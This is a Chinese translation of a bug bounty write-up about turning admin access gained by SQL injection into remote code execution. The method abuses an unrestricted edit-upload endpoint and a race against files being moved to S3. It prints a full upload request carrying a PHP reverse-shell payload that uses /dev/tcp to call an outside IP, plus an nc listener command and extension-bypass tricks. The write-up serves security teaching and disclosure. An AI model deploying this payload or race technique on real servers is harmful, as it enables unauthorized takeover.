概要
这篇简单的文章主要讲述了我是如何在一个非公开的漏洞悬赏项目中挖掘漏洞的,从简单的前期侦察到简单的SQL注入,竞争条件,最后得到RCE。由于在往常的漏洞悬赏项目中很难直接得到RCE,因此,我会着重讲一下这个由竞争条件触发的RCE。现在,就让我们开始吧。
当我们进入管理员的内部管理页面时(我们是通过SQL注入得到管理员帐户的),立刻发现了上传功能。
当然,这个上传功能有一个保护机制,不允许用户上传后缀名为.php
的文件,让我们假设处理上传文件的是upload.php
(关于这种类型的防护,有时可以通过后缀名.phtml
绕过)。不过,这个应用程序还有另一个功能,可以替换/删除之前上传的文件,我们假设这是通过modify.php
处理的。
而且这个modify.php
并不会像upload.php
那样检查文件后缀名,因此,我们可以轻松地将.php
文件上传到目标上。
但是,我们很快发现,上传的文件会被转移到S3存储桶中,因此,你无论上传什么shell,都不可能控制目标服务器,因为shell存储在S3存储桶中(肯定也不能生效)。
然后,我们通过modify.php
发送多个文件上传请求,看看是否能找到些未知漏洞。突然,我们在大量的相似响应包中发现其中一个数据包有所不同,其包含一个本地存储路径的错误信息。从这个发现中,我们意识到文件在自动转移到S3存储桶之前大约有2秒是存储在本地的。
接下来,我们先在自己的服务器设置了一个监听器(通过nc -lvp listener_port
),利用竞争条件一边不停地上传能反弹回shell的恶意文件(利用modify.php
),一边不停地访问上传文件(利用错误信息中地本地存储路径),直到我们的服务器接收到了目标服务器返回的shell。
最终经过几十次请求(超过20-30次),最后我们得到了目标的shell。
详细过程
在这节中,我们将逐步解释整体攻击流程。我们将通过手动画图让你尽量了解到底发生了什么。
在我们进入管理员主页面后内部仪表板之后,就立刻开始搜索上传文件功能,并成功在几分钟后,于新闻/文章
模块中找到了。在研究了几分钟后,我们发现这个模块中任何上传点上传的任何文件都会由upload.php
处理。
基本上,上传界面如下:
一开始我们试图通过这个模块直接上传简单的shell,但是事情并不顺利,因为它有一个针对后缀名.php
的保护措施。我们尝试利用大小写(例如.PhP
),在php后面添加了一些数字(例如.php3
),以及网络上流行的各种混淆方法(将扩展名复制加倍,添加null字符,添加;字符等)进行绕过,但都失败了,我们总是得到如下的警告:
然后我们也考虑过存储型XSS,看看能否上载.html
、.xml
或.svg
格式的文件,结果成功了。但是,我们很快发现上传文件都被移动到S3存储桶中。总所周知,在S3存储桶中触发XSS是没有任何意义的。那么,我们如何进一步攻击呢?
在文件上传完成后,在新闻
模块中就会出现编辑用的素材表格,而从表格中我们可以发现有一个edit
按钮,这代表我们可以编辑已上传的文件。
而在我们单击edit
按钮后,发现其中也包含一个文件上传功能,而且其中并没有限制后缀名(在我的经验中,同一功能的两处上传点往往特点相同)!
简而言之,我们现在可以直接上传任意.php
文件。
当我们的shell上传后,我们发现此时应该是modify.php
处理上传文件,因此没有了限制。以下是涉及modify.php
的上传请求:
Content-Disposition: form-data; name="fileid"
31337
-----------------------------09234599689937136550676151776
Content-Disposition: form-data; name="name"
picture-1.png
-----------------------------09234599689937136550676151776
Content-Disposition: form-data; name="desc ription"
-----------------------------09234599689937136550676151776
Content-Disposition: form-data; name="userfile"; filename="reverse.php"
Content-Type: text/php
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.20.30.40/21234 0>&1'");
-----------------------------09234599689937136550676151776
Content-Disposition: form-data; name="save"
Save
结束了吗?很可惜,还是没有,shell也被转移到了S3存储桶中,我们并不能执行任何命令。
就像概要里说的一样,我们立马通过第二个上传点多次上传shell,并在发出多个请求后,得到了不同的长度的响应(大约需要发送几十个请求)。一般请求的响应长度为1147,但个别请求的响应长度为1710。
如上下图所示,正常响应长度为1147,个别响应长度为1710。
那么,非正常响应的内容是什么?是一些包含文件的本地路径的错误信息。
当我们看到这个路径时,就尝试通过浏览器访问文件来触发shell。
但是,当我们这么做的时候,得到了著名的警告:“文件未找到”。shell依然是在S3存储桶中,并不在本地。不过,从这我们了解到上传文件会以某种方式在本地存储了大约1-2秒,然后自动转移到S3存储桶中。
触发shell,控制服务器
现在很明显了,我们可以通过竞争条件,在文件从本地转移到S3存储桶的短短几秒间,访问shell,触发命令执行。
因此,我们先设置监听器服务器->准备好反弹shell文件->发出1000个上传请求->从响应中获取到文件本地路径->反复通过浏览器访问文件->恶意文件执行,反弹回shell。
相关的简单流程如下:
最后,我们得到了一个shell。
从以上这个案例,我们感觉很多使用了S3存储桶的网站都存在这个问题:上传文件在本地会存在1到2秒,但足以触发shell;不少网站因使用了S3存储桶而放松了警惕,没严格限制上传文件类型。
参考
1.https://www.owasp.org/index.php/Testing_for_Race_Conditions_(OWASP-AT-010
2.https://securingtomorrow.mcafee.com/business/testing-race-conditions-web-applications/
3.https://medium.com/@ciph3r7r0ll/race-condition-bug-in-web-app-a-use-case-21fd4df71f0e
4.https://www.owasp.org/index.php/Unrestricted_File_Upload
5.https://www.slideshare.net/HackIT-ukraine/15-technique-to-exploit-file-upload-pages-ebrahim-hegazy
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/2989.html
来源:https://medium.com/bugbountywriteup/race-condition-that-could-result-to-rce-a-story-with-an-app-that-temporary-stored-an-uploaded-9a4065368ba3